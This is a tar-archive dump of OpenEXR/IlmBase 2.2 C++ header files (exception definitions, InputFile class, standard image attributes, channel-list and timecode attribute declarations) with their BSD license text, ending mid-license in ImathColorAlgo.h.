#define IMATH_INTERNAL_NAMESPACE Imath_2_2 #define IEX_INTERNAL_NAMESPACE Iex_2_2 #define ILMTHREAD_INTERNAL_NAMESPACE IlmThread_2_2 /* #undef ILMBASE_NAMESPACE_CUSTOM */ #define IMATH_NAMESPACE Imath #define IEX_NAMESPACE Iex #define ILMTHREAD_NAMESPACE IlmThread // // Define and set to 1 if the target system has support for large // stack sizes. // #define ILMBASE_HAVE_LARGE_STACK 1 // // Version information // #define ILMBASE_VERSION_STRING "2.2.0" #define ILMBASE_PACKAGE_STRING "IlmBase 2.2.0" #define ILMBASE_VERSION_MAJOR 2 #define ILMBASE_VERSION_MINOR 2 #define ILMBASE_VERSION_PATCH 0 // Version as a single hex number, e.g. 0x01000300 == 1.0.3 #define ILMBASE_VERSION_HEX ((ILMBASE_VERSION_MAJOR << 24) | \ (ILMBASE_VERSION_MINOR << 16) | \ (ILMBASE_VERSION_PATCH << 8)) OpenEXR/ImathExc.h 0000644 00000005514 15246445047 0007717 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHEXC_H #define INCLUDED_IMATHEXC_H //----------------------------------------------- // // Imath library-specific exceptions // //----------------------------------------------- #include "ImathNamespace.h" #include "IexBaseExc.h" #include "ImathExport.h" IMATH_INTERNAL_NAMESPACE_HEADER_ENTER // Attempt to normalize null vector DEFINE_EXC_EXP (IMATH_EXPORT, NullVecExc, ::IEX_NAMESPACE::MathExc) // Attempt to normalize a point at infinity DEFINE_EXC_EXP (IMATH_EXPORT, InfPointExc, ::IEX_NAMESPACE::MathExc) // Attempt to normalize null quaternion DEFINE_EXC_EXP (IMATH_EXPORT, NullQuatExc, ::IEX_NAMESPACE::MathExc) // Attempt to invert singular matrix DEFINE_EXC_EXP (IMATH_EXPORT, SingMatrixExc, ::IEX_NAMESPACE::MathExc) // Attempt to remove zero scaling from matrix DEFINE_EXC_EXP (IMATH_EXPORT, ZeroScaleExc, ::IEX_NAMESPACE::MathExc) // Attempt to normalize a vector of whose elementsare an integer type DEFINE_EXC_EXP (IMATH_EXPORT, IntVecNormalizeExc, ::IEX_NAMESPACE::MathExc) IMATH_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IMATHEXC_H OpenEXR/ImfInt64.h 0000644 00000004365 15246445047 0007560 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2006, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_INT64_H #define INCLUDED_IMF_INT64_H //---------------------------------------------------------------------------- // // Int64 -- unsigned 64-bit integers, imported from namespace Imath // //---------------------------------------------------------------------------- #include "ImathInt64.h" #include "ImfNamespace.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER using IMATH_NAMESPACE::Int64; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IMF_INT64_H OpenEXR/IlmThreadExport.h 0000644 00000004234 15246445047 0011266 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #if defined(OPENEXR_DLL) #if defined(ILMTHREAD_EXPORTS) #define ILMTHREAD_EXPORT __declspec(dllexport) #define ILMTHREAD_EXPORT_CONST extern __declspec(dllexport) #else #define ILMTHREAD_EXPORT __declspec(dllimport) #define ILMTHREAD_EXPORT_CONST extern __declspec(dllimport) #endif #else #define ILMTHREAD_EXPORT #define ILMTHREAD_EXPORT_CONST extern const #endif OpenEXR/ImfInputFile.h 0000644 00000020442 15246445047 0010545 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_INPUT_FILE_H #define INCLUDED_IMF_INPUT_FILE_H //----------------------------------------------------------------------------- // // class InputFile -- a scanline-based interface that can be used // to read both scanline-based and tiled OpenEXR image files. // //----------------------------------------------------------------------------- #include "ImfHeader.h" #include "ImfFrameBuffer.h" #include "ImfTiledOutputFile.h" #include "ImfThreading.h" #include "ImfGenericInputFile.h" #include "ImfNamespace.h" #include "ImfForward.h" #include "ImfExport.h" #include <fstream> OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER class IMF_EXPORT InputFile : public GenericInputFile { public: //----------------------------------------------------------- // A constructor that opens the file with the specified name. // Destroying the InputFile object will close the file. // // numThreads determines the number of threads that will be // used to read the file (see ImfThreading.h). //----------------------------------------------------------- InputFile (const char fileName[], int numThreads = globalThreadCount()); //------------------------------------------------------------- // A constructor that attaches the new InputFile object to a // file that has already been opened. Destroying the InputFile // object will not close the file. // // numThreads determines the number of threads that will be // used to read the file (see ImfThreading.h). //------------------------------------------------------------- InputFile (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &is, int numThreads = globalThreadCount()); //----------- // Destructor //----------- virtual ~InputFile (); //------------------------ // Access to the file name //------------------------ const char * fileName () const; //-------------------------- // Access to the file header //-------------------------- const Header & header () const; //---------------------------------- // Access to the file format version //---------------------------------- int version () const; //----------------------------------------------------------- // Set the current frame buffer -- copies the FrameBuffer // object into the InputFile object. // // The current frame buffer is the destination for the pixel // data read from the file. The current frame buffer must be // set at least once before readPixels() is called. // The current frame buffer can be changed after each call // to readPixels(). //----------------------------------------------------------- void setFrameBuffer (const FrameBuffer &frameBuffer); //----------------------------------- // Access to the current frame buffer //----------------------------------- const FrameBuffer & frameBuffer () const; //--------------------------------------------------------------- // Check if the file is complete: // // isComplete() returns true if all pixels in the data window are // present in the input file, or false if any pixels are missing. // (Another program may still be busy writing the file, or file // writing may have been aborted prematurely.) //--------------------------------------------------------------- bool isComplete () const; //--------------------------------------------------------------- // Check if SSE optimization is enabled // // Call after setFrameBuffer() to query whether optimized file decoding // is available - decode times will be faster if returns true // // Optimization depends on: // the file type (only scanline data is supported), // the framebuffer channels (RGB/RGBA mono or stereo) // the framebuffer channel types (all channels half-float format only) // the file channels (RGB/RGBA mono or stereo) // the file channel types (all channel half-float format only) // whether SSE2 instruction support was detected at compile time // // Calling isOptimizationEnabled before setFrameBuffer will throw an exception // //--------------------------------------------------------------- bool isOptimizationEnabled () const; //--------------------------------------------------------------- // Read pixel data: // // readPixels(s1,s2) reads all scan lines with y coordinates // in the interval [min (s1, s2), max (s1, s2)] from the file, // and stores them in the current frame buffer. // // Both s1 and s2 must be within the interval // [header().dataWindow().min.y, header().dataWindow().max.y] // // The scan lines can be read from the file in random order, and // individual scan lines may be skipped or read multiple times. // For maximum efficiency, the scan lines should be read in the // order in which they were written to the file. // // readPixels(s) calls readPixels(s,s). // //--------------------------------------------------------------- void readPixels (int scanLine1, int scanLine2); void readPixels (int scanLine); //---------------------------------------------- // Read a block of raw pixel data from the file, // without uncompressing it (this function is // used to implement OutputFile::copyPixels()). //---------------------------------------------- void rawPixelData (int firstScanLine, const char *&pixelData, int &pixelDataSize); //-------------------------------------------------- // Read a tile of raw pixel data from the file, // without uncompressing it (this function is // used to implement TiledOutputFile::copyPixels()). //-------------------------------------------------- void rawTileData (int &dx, int &dy, int &lx, int &ly, const char *&pixelData, int &pixelDataSize); struct Data; private: InputFile (InputPartData* part); InputFile (const InputFile &); // not implemented InputFile & operator = (const InputFile &); // not implemented void initialize (); void multiPartInitialize(InputPartData* part); void compatibilityInitialize(OPENEXR_IMF_INTERNAL_NAMESPACE::IStream& is); TiledInputFile * tFile (); friend void TiledOutputFile::copyPixels (InputFile &); Data * _data; friend class MultiPartInputFile; }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfStandardAttributes.h 0000644 00000032415 15246445047 0012460 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_STANDARD_ATTRIBUTES_H #define INCLUDED_IMF_STANDARD_ATTRIBUTES_H //----------------------------------------------------------------------------- // // Optional Standard Attributes -- these attributes are "optional" // because not every image file header has them, but they define a // "standard" way to represent commonly used data in the file header. // // For each attribute, with name "foo", and type "T", the following // functions are automatically generated via macros: // // void addFoo (Header &header, const T &value); // bool hasFoo (const Header &header); // const TypedAttribute<T> & fooAttribute (const Header &header); // TypedAttribute<T> & fooAttribute (Header &header); // const T & foo (const Header &Header); // T & foo (Header &Header); // //----------------------------------------------------------------------------- #include "ImfHeader.h" #include "ImfBoxAttribute.h" #include "ImfChromaticitiesAttribute.h" #include "ImfEnvmapAttribute.h" #include "ImfDeepImageStateAttribute.h" #include "ImfFloatAttribute.h" #include "ImfKeyCodeAttribute.h" #include "ImfMatrixAttribute.h" #include "ImfRationalAttribute.h" #include "ImfStringAttribute.h" #include "ImfStringVectorAttribute.h" #include "ImfTimeCodeAttribute.h" #include "ImfVecAttribute.h" #include "ImfNamespace.h" #include "ImfExport.h" #define IMF_STD_ATTRIBUTE_DEF(name,suffix,object) \ \ OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER \ IMF_EXPORT void add##suffix (Header &header, const object &v); \ IMF_EXPORT bool has##suffix (const Header &header); \ IMF_EXPORT const TypedAttribute<object> & \ name##Attribute (const Header &header); \ IMF_EXPORT TypedAttribute<object> & \ name##Attribute (Header &header); \ IMF_EXPORT const object & \ name (const Header &header); \ IMF_EXPORT object & name (Header &header); \ OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT \ // // chromaticities -- for RGB images, specifies the CIE (x,y) // chromaticities of the primaries and the white point // IMF_STD_ATTRIBUTE_DEF (chromaticities, Chromaticities, Chromaticities) // // whiteLuminance -- for RGB images, defines the luminance, in Nits // (candelas per square meter) of the RGB value (1.0, 1.0, 1.0). // // If the chromaticities and the whiteLuminance of an RGB image are // known, then it is possible to convert the image's pixels from RGB // to CIE XYZ tristimulus values (see function RGBtoXYZ() in header // file ImfChromaticities.h). // // IMF_STD_ATTRIBUTE_DEF (whiteLuminance, WhiteLuminance, float) // // adoptedNeutral -- specifies the CIE (x,y) coordinates that should // be considered neutral during color rendering. Pixels in the image // file whose (x,y) coordinates match the adoptedNeutral value should // be mapped to neutral values on the display. // IMF_STD_ATTRIBUTE_DEF (adoptedNeutral, AdoptedNeutral, IMATH_NAMESPACE::V2f) // // renderingTransform, lookModTransform -- specify the names of the // CTL functions that implements the intended color rendering and look // modification transforms for this image. // IMF_STD_ATTRIBUTE_DEF (renderingTransform, RenderingTransform, std::string) IMF_STD_ATTRIBUTE_DEF (lookModTransform, LookModTransform, std::string) // // xDensity -- horizontal output density, in pixels per inch. // The image's vertical output density is xDensity * pixelAspectRatio. // IMF_STD_ATTRIBUTE_DEF (xDensity, XDensity, float) // // owner -- name of the owner of the image // IMF_STD_ATTRIBUTE_DEF (owner, Owner, std::string) // // comments -- additional image information in human-readable // form, for example a verbal description of the image // IMF_STD_ATTRIBUTE_DEF (comments, Comments, std::string) // // capDate -- the date when the image was created or captured, // in local time, and formatted as // // YYYY:MM:DD hh:mm:ss // // where YYYY is the year (4 digits, e.g. 2003), MM is the month // (2 digits, 01, 02, ... 12), DD is the day of the month (2 digits, // 01, 02, ... 31), hh is the hour (2 digits, 00, 01, ... 23), mm // is the minute, and ss is the second (2 digits, 00, 01, ... 59). // // IMF_STD_ATTRIBUTE_DEF (capDate, CapDate, std::string) // // utcOffset -- offset of local time at capDate from // Universal Coordinated Time (UTC), in seconds: // // UTC == local time + utcOffset // IMF_STD_ATTRIBUTE_DEF (utcOffset, UtcOffset, float) // // longitude, latitude, altitude -- for images of real objects, the // location where the image was recorded. Longitude and latitude are // in degrees east of Greenwich and north of the equator. Altitude // is in meters above sea level. For example, Kathmandu, Nepal is // at longitude 85.317, latitude 27.717, altitude 1305. // IMF_STD_ATTRIBUTE_DEF (longitude, Longitude, float) IMF_STD_ATTRIBUTE_DEF (latitude, Latitude, float) IMF_STD_ATTRIBUTE_DEF (altitude, Altitude, float) // // focus -- the camera's focus distance, in meters // IMF_STD_ATTRIBUTE_DEF (focus, Focus, float) // // exposure -- exposure time, in seconds // IMF_STD_ATTRIBUTE_DEF (expTime, ExpTime, float) // // aperture -- the camera's lens aperture, in f-stops (focal length // of the lens divided by the diameter of the iris opening) // IMF_STD_ATTRIBUTE_DEF (aperture, Aperture, float) // // isoSpeed -- the ISO speed of the film or image sensor // that was used to record the image // IMF_STD_ATTRIBUTE_DEF (isoSpeed, IsoSpeed, float) // // envmap -- if this attribute is present, the image represents // an environment map. The attribute's value defines how 3D // directions are mapped to 2D pixel locations. For details // see header file ImfEnvmap.h // IMF_STD_ATTRIBUTE_DEF (envmap, Envmap, Envmap) // // keyCode -- for motion picture film frames. Identifies film // manufacturer, film type, film roll and frame position within // the roll. // IMF_STD_ATTRIBUTE_DEF (keyCode, KeyCode, KeyCode) // // timeCode -- time and control code // IMF_STD_ATTRIBUTE_DEF (timeCode, TimeCode, TimeCode) // // wrapmodes -- determines how texture map images are extrapolated. // If an OpenEXR file is used as a texture map for 3D rendering, // texture coordinates (0.0, 0.0) and (1.0, 1.0) correspond to // the upper left and lower right corners of the data window. // If the image is mapped onto a surface with texture coordinates // outside the zero-to-one range, then the image must be extrapolated. // This attribute tells the renderer how to do this extrapolation. // The attribute contains either a pair of comma-separated keywords, // to specify separate extrapolation modes for the horizontal and // vertical directions; or a single keyword, to specify extrapolation // in both directions (e.g. "clamp,periodic" or "clamp"). Extra white // space surrounding the keywords is allowed, but should be ignored // by the renderer ("clamp, black " is equivalent to "clamp,black"). // The keywords listed below are predefined; some renderers may support // additional extrapolation modes: // // black pixels outside the zero-to-one range are black // // clamp texture coordinates less than 0.0 and greater // than 1.0 are clamped to 0.0 and 1.0 respectively // // periodic the texture image repeats periodically // // mirror the texture image repeats periodically, but // every other instance is mirrored // IMF_STD_ATTRIBUTE_DEF (wrapmodes, Wrapmodes, std::string) // // framesPerSecond -- defines the nominal playback frame rate for image // sequences, in frames per second. Every image in a sequence should // have a framesPerSecond attribute, and the attribute value should be // the same for all images in the sequence. If an image sequence has // no framesPerSecond attribute, playback software should assume that // the frame rate for the sequence is 24 frames per second. // // In order to allow exact representation of NTSC frame and field rates, // framesPerSecond is stored as a rational number. A rational number is // a pair of integers, n and d, that represents the value n/d. // // For the exact values of commonly used frame rates, please see header // file ImfFramesPerSecond.h. // IMF_STD_ATTRIBUTE_DEF (framesPerSecond, FramesPerSecond, Rational) // // multiView -- defines the view names for multi-view image files. // A multi-view image contains two or more views of the same scene, // as seen from different viewpoints, for example a left-eye and // a right-eye view for stereo displays. The multiView attribute // lists the names of the views in an image, and a naming convention // identifies the channels that belong to each view. // // For details, please see header file ImfMultiView.h // IMF_STD_ATTRIBUTE_DEF (multiView , MultiView, StringVector) // // worldToCamera -- for images generated by 3D computer graphics rendering, // a matrix that transforms 3D points from the world to the camera coordinate // space of the renderer. // // The camera coordinate space is left-handed. Its origin indicates the // location of the camera. The positive x and y axes correspond to the // "right" and "up" directions in the rendered image. The positive z // axis indicates the camera's viewing direction. (Objects in front of // the camera have positive z coordinates.) // // Camera coordinate space in OpenEXR is the same as in Pixar's Renderman. // IMF_STD_ATTRIBUTE_DEF (worldToCamera, WorldToCamera, IMATH_NAMESPACE::M44f) // // worldToNDC -- for images generated by 3D computer graphics rendering, a // matrix that transforms 3D points from the world to the Normalized Device // Coordinate (NDC) space of the renderer. // // NDC is a 2D coordinate space that corresponds to the image plane, with // positive x and pointing to the right and y positive pointing down. The // coordinates (0, 0) and (1, 1) correspond to the upper left and lower right // corners of the OpenEXR display window. // // To transform a 3D point in word space into a 2D point in NDC space, // multiply the 3D point by the worldToNDC matrix and discard the z // coordinate. // // NDC space in OpenEXR is the same as in Pixar's Renderman. // IMF_STD_ATTRIBUTE_DEF (worldToNDC, WorldToNDC, IMATH_NAMESPACE::M44f) // // deepImageState -- specifies whether the pixels in a deep image are // sorted and non-overlapping. // // Note: this attribute can be set by application code that writes a file // in order to tell applications that read the file whether the pixel data // must be cleaned up prior to image processing operations such as flattening. // The IlmImf library does not verify that the attribute is consistent with // the actual state of the pixels. Application software may assume that the // attribute is valid, as long as the software will not crash or lock up if // any pixels are inconsistent with the deepImageState attribute. // IMF_STD_ATTRIBUTE_DEF (deepImageState, DeepImageState, DeepImageState) // // originalDataWindow -- if application software crops an image, then it // should save the data window of the original, un-cropped image in the // originalDataWindow attribute. // IMF_STD_ATTRIBUTE_DEF (originalDataWindow, OriginalDataWindow, IMATH_NAMESPACE::Box2i) // // dwaCompressionLevel -- sets the quality level for images compressed // with the DWAA or DWAB method. // IMF_STD_ATTRIBUTE_DEF (dwaCompressionLevel, DwaCompressionLevel, float) #endif OpenEXR/ImfChannelListAttribute.h 0000644 00000005305 15246445047 0012737 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_CHANNEL_LIST_ATTRIBUTE_H #define INCLUDED_IMF_CHANNEL_LIST_ATTRIBUTE_H //----------------------------------------------------------------------------- // // class ChannelListAttribute // //----------------------------------------------------------------------------- #include "ImfAttribute.h" #include "ImfChannelList.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER typedef TypedAttribute<OPENEXR_IMF_INTERNAL_NAMESPACE::ChannelList> ChannelListAttribute; template <> IMF_EXPORT const char *ChannelListAttribute::staticTypeName (); template <> IMF_EXPORT void ChannelListAttribute::writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &, int) const; template <> IMF_EXPORT void ChannelListAttribute::readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &, int, int); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfTimeCodeAttribute.h 0000644 00000005216 15246445047 0012225 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_TIME_CODE_ATTRIBUTE_H #define INCLUDED_IMF_TIME_CODE_ATTRIBUTE_H //----------------------------------------------------------------------------- // // class TimeCodeAttribute // //----------------------------------------------------------------------------- #include "ImfAttribute.h" #include "ImfTimeCode.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER typedef TypedAttribute<OPENEXR_IMF_INTERNAL_NAMESPACE::TimeCode> TimeCodeAttribute; template <> IMF_EXPORT const char *TimeCodeAttribute::staticTypeName (); template <> IMF_EXPORT void TimeCodeAttribute::writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &, int) const; template <> IMF_EXPORT void TimeCodeAttribute::readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &, int, int); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImathColorAlgo.h 0000644 00000016126 15246445047 0011062 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following 